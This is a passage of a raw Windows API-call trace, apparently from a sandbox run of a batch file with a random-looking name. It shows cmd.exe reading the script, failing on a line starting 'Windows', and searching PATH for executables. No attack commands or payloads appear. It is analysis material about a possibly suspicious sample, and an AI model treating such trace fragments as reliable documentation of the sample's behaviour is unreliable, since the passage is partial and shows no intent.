lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0162.363] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0162.368] ??_V@YAXPEAX@Z () returned 0x1 [0162.369] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.369] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.369] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.369] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.370] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.370] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.370] SetConsoleInputExeNameW () returned 0x1 [0162.370] GetConsoleOutputCP () returned 0x1b5 [0162.370] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.371] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.372] ??_V@YAXPEAX@Z () returned 0x1 [0162.373] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.373] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.373] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.373] SetFilePointer (in: hFile=0x94, lDistanceToMove=1053, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x41d [0162.373] GetProcessHeap () returned 0x20b0f920000 [0162.374] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.374] GetProcessHeap () returned 0x20b0f920000 [0162.374] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.374] GetProcessHeap () returned 0x20b0f920000 [0162.374] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.374] GetProcessHeap () returned 0x20b0f920000 [0162.374] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0162.374] GetProcessHeap () returned 0x20b0f920000 [0162.374] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957cd0) returned 1 [0162.374] GetProcessHeap () returned 0x20b0f920000 [0162.374] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0162.374] GetProcessHeap () returned 0x20b0f920000 [0162.374] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.374] GetProcessHeap () returned 0x20b0f920000 [0162.374] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.374] GetProcessHeap () returned 0x20b0f920000 [0162.374] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.374] GetProcessHeap () returned 0x20b0f920000 [0162.374] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.375] GetProcessHeap () returned 0x20b0f920000 [0162.375] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.375] GetProcessHeap () returned 0x20b0f920000 [0162.375] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0162.375] GetProcessHeap () returned 0x20b0f920000 [0162.375] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.375] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.375] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x41d [0162.376] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1398, lpOverlapped=0x0) returned 1 [0162.385] SetFilePointer (in: hFile=0x94, lDistanceToMove=1144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x478 [0162.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 91 [0162.385] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.385] GetFileType (hFile=0x94) returned 0x1 [0162.385] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.385] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x478 [0162.385] GetProcessHeap () returned 0x20b0f920000 [0162.385] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.385] GetProcessHeap () returned 0x20b0f920000 [0162.385] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.386] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0162.386] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0162.386] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0162.386] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0162.386] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0162.386] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0162.386] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0162.386] GetProcessHeap () returned 0x20b0f920000 [0162.386] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.386] GetProcessHeap () returned 0x20b0f920000 [0162.386] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0162.386] GetProcessHeap () returned 0x20b0f920000 [0162.386] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xaa) returned 0x20b0f92cb10 [0162.386] _tell (_FileHandle=3) returned 1144 [0162.386] _close (_FileHandle=3) returned 0 [0162.387] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.387] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.387] GetFileType (hFile=0x50) returned 0x2 [0162.387] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.387] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.387] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.387] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.391] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.391] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.391] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.391] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.391] GetFileType (hFile=0x50) returned 0x2 [0162.391] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.391] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.392] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.392] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.392] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.393] GetFileType (hFile=0x50) returned 0x2 [0162.393] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.393] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.393] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.393] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0162.393] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 77 [0162.393] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.393] GetFileType (hFile=0x50) returned 0x2 [0162.393] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.393] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.394] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.394] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4d) returned 1 [0162.394] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.394] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.394] GetFileType (hFile=0x50) returned 0x2 [0162.394] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.394] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.395] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.395] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.398] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.399] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.399] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.399] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.399] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.399] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.399] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.399] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.399] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.399] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.399] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.399] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.399] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.400] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.400] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.400] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.400] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.400] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.400] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.400] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.400] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.400] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.400] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.400] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.400] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.400] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.400] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.400] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.400] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.400] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.400] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.400] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.400] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.400] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.400] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.400] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.400] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.400] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.400] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.400] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.400] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.400] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.400] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.400] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.400] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.400] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.401] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.401] GetProcessHeap () returned 0x20b0f920000 [0162.401] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.403] SetErrorMode (uMode=0x0) returned 0x0 [0162.403] SetErrorMode (uMode=0x1) returned 0x0 [0162.403] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.403] SetErrorMode (uMode=0x0) returned 0x1 [0162.403] GetProcessHeap () returned 0x20b0f920000 [0162.403] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0162.403] GetProcessHeap () returned 0x20b0f920000 [0162.403] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0162.404] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.404] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.404] GetProcessHeap () returned 0x20b0f920000 [0162.404] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.404] GetProcessHeap () returned 0x20b0f920000 [0162.404] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.404] GetProcessHeap () returned 0x20b0f920000 [0162.404] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.404] GetProcessHeap () returned 0x20b0f920000 [0162.404] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.404] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.404] GetProcessHeap () returned 0x20b0f920000 [0162.404] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.404] GetProcessHeap () returned 0x20b0f920000 [0162.404] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.404] GetProcessHeap () returned 0x20b0f920000 [0162.404] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.404] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.404] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cdf0 [0162.404] FindClose (in: hFindFile=0x20b0f92cdf0 | out: hFindFile=0x20b0f92cdf0) returned 1 [0162.404] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.405] GetLastError () returned 0x2 [0162.405] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.405] GetLastError () returned 0x2 [0162.405] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.405] GetLastError () returned 0x2 [0162.405] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.405] GetLastError () returned 0x2 [0162.405] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.405] GetLastError () returned 0x2 [0162.405] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.405] GetLastError () returned 0x2 [0162.405] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.406] GetLastError () returned 0x2 [0162.406] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.406] GetLastError () returned 0x2 [0162.406] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.406] GetLastError () returned 0x2 [0162.406] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.406] GetLastError () returned 0x2 [0162.406] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.406] GetLastError () returned 0x2 [0162.406] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.406] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.407] GetLastError () returned 0x2 [0162.407] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.407] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d210 [0162.407] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0162.407] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.408] GetLastError () returned 0x2 [0162.408] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.408] GetLastError () returned 0x2 [0162.408] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.408] GetLastError () returned 0x2 [0162.408] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.408] GetLastError () returned 0x2 [0162.408] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.408] GetLastError () returned 0x2 [0162.408] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.408] GetLastError () returned 0x2 [0162.409] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.409] GetLastError () returned 0x2 [0162.409] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.409] GetLastError () returned 0x2 [0162.409] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.409] GetLastError () returned 0x2 [0162.409] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.409] GetLastError () returned 0x2 [0162.409] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.409] GetLastError () returned 0x2 [0162.409] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.409] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.410] GetLastError () returned 0x2 [0162.410] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.410] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.410] GetLastError () returned 0x2 [0162.410] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.410] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.410] GetLastError () returned 0x2 [0162.410] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.410] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.410] GetLastError () returned 0x2 [0162.410] ??_V@YAXPEAX@Z () returned 0x1 [0162.410] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0162.412] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.412] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.412] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.412] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.413] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.413] _wcsicmp 